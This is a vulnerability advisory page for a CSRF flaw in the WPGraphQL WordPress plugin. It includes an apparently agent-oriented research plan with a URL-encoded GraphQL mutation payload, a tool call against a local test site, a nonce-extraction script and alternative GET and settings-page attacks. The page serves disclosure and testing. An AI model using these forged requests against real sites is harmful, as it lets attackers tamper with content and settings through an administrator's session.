WPGraphQL <= 2.5.3 - Cross-Site Request Forgery
Description
The WPGraphQL plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.5.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.5.4
Source Code
WordPress.org SVNThis research plan targets a Cross-Site Request Forgery (CSRF) vulnerability in **WPGraphQL <= 2.5.3**. The vulnerability allows an unauthenticated attacker to perform unauthorized actions (specifically GraphQL mutations or settings changes) by tricking an authenticated administrator into interactin…
Show full research plan
This research plan targets a Cross-Site Request Forgery (CSRF) vulnerability in WPGraphQL <= 2.5.3. The vulnerability allows an unauthenticated attacker to perform unauthorized actions (specifically GraphQL mutations or settings changes) by tricking an authenticated administrator into interacting with a malicious link or page.
1. Vulnerability Summary
- Vulnerability: Cross-Site Request Forgery (CSRF)
- Affected Component: WPGraphQL Endpoint (
/graphql) and Admin Settings. - Condition: The plugin fails to verify a WordPress nonce when processing state-changing operations (Mutations) sent via HTTP methods that do not trigger CORS preflights (e.g.,
GETorPOSTwithapplication/x-www-form-urlencoded). - Impact: An attacker can perform any action available to the GraphQL schema (creating posts, updating settings, deleting data) with the privileges of the victim administrator.
2. Attack Vector Analysis
- Endpoint: The GraphQL endpoint (default:
/graphqlor?graphql=true). - Vulnerable Action: GraphQL Mutations.
- HTTP Methods:
GETandPOST(specificallyapplication/x-www-form-urlencoded). - Authentication: Requires an active session cookie of an administrative user.
- Preconditions:
- The victim must be logged in as an Administrator.
- The GraphQL endpoint must be active (default behavior).
3. Code Flow
- Entry Point: An HTTP request hits
index.php. - Route Detection:
WPGraphQL\Router::is_graphql_http_request()identifies the request as a GraphQL request based on the URL path or thegraphqlquery variable. - Request Initialization:
WPGraphQL\Router::resolve_http_request()callsprocess_http_request(), which initializes aWPGraphQL\Requestobject. - Data Extraction: Inside the truncated
process_http_request(typically utilizingWPHelper::get_graphql_params()), the plugin extracts the GraphQLqueryandvariablesfrom$_GETor$_POST. - Execution:
WPGraphQL\Request::execute()is called. - Missing Check: In affected versions, the execution path for Mutations does not invoke
check_ajax_refereror verify a_wpnonceparameter/header, even though the user is authenticated via WordPress cookies.
4. Nonce Acquisition Strategy (If Required)
The vulnerability is primarily the absence of a nonce check. However, if the PoC agent finds that a nonce is partially implemented or if the patch introduced a check, use this strategy:
- Identify Trigger: WPGraphQL settings are located at
wp-admin/admin.php?page=graphql-settings. - Navigation: Use
browser_navigateto go to the settings page. - Extraction: WPGraphQL often localizes data in a JS variable named
wpgraphql_admin. - JS Verification: Execute in
browser_eval:// Check for common WPGraphQL nonce locations window.wpgraphql_admin?.nonce || document.querySelector('#_wpnonce')?.value || "NOT_FOUND" - Action Strings: Common action strings to look for in the source:
'wp_rest','graphql_settings', or-1.
5. Exploitation Strategy
We will attempt to create a new post using a CSRF-compatible POST request. This bypasses SameSite: Lax restrictions because it uses a top-level navigation-like form submission.
- Target URL:
http://[target-ip]:[port]/graphql(orhttp://[target-ip]:[port]/index.php?graphql=true) - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload (Payload must be URL-encoded):
query:mutation { createPost(input: {title: "Vulnerable to CSRF", status: PUBLISH, content: "Exploited by CVE-2025-68604"}) { post { id } } }
Step-by-step Execution:
- Setup Admin Session: Ensure the agent is logged in as an administrator.
- Construct Request: Use the
http_requesttool to simulate a cross-origin form submission.http_request( method="POST", url="http://localhost:8080/graphql", headers={"Content-Type": "application/x-www-form-urlencoded"}, body="query=mutation%20%7B%20createPost(input%3A%20%7Btitle%3A%20%22Vulnerable%20to%20CSRF%22%2C%20status%3A%20PUBLISH%2C%20content%3A%20%22Exploited%20by%20CVE-2025-68604%22%7D)%20%7B%20post%20%7B%20id%20%7D%20%7D%20%7D" )
6. Test Data Setup
- Activate Plugin: Ensure
wp-graphqlis active. - User: An administrator account (e.g.,
admin/password). - Settings: Ensure "Public Introspection" is enabled (usually default) to make it easier to verify the schema, though not strictly required for the exploit.
7. Expected Results
- HTTP Response: The server should return a
200 OKwith a JSON body containing:{"data":{"createPost":{"post":{"id":"..."}}}} - Impact: A new post with the title "Vulnerable to CSRF" should appear in the WordPress database.
8. Verification Steps
- Check Post Creation:
Confirm "Vulnerable to CSRF" exists.wp post list --post_type=post --format=ids | xargs -I{} wp post get {} --field=post_title - Check Options (If testing settings CSRF):
If the exploit targets settings (e.g., changing the endpoint):wp option get graphql_general_settings
9. Alternative Approaches
If the POST with application/x-www-form-urlencoded is rejected:
- GET Request: Attempt the mutation via a
GETrequest, which is often enabled for developer convenience:GET /graphql?query=mutation%20... - Settings Page CSRF: Target the settings save action directly. Navigate to the WPGraphQL settings page, find the
actionname in the<form>tag (e.g.,wpgraphql_save_settings), and submit a POST towp-admin/admin-post.phpwith that action and modified settings (like disabling introspection) without a nonce.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.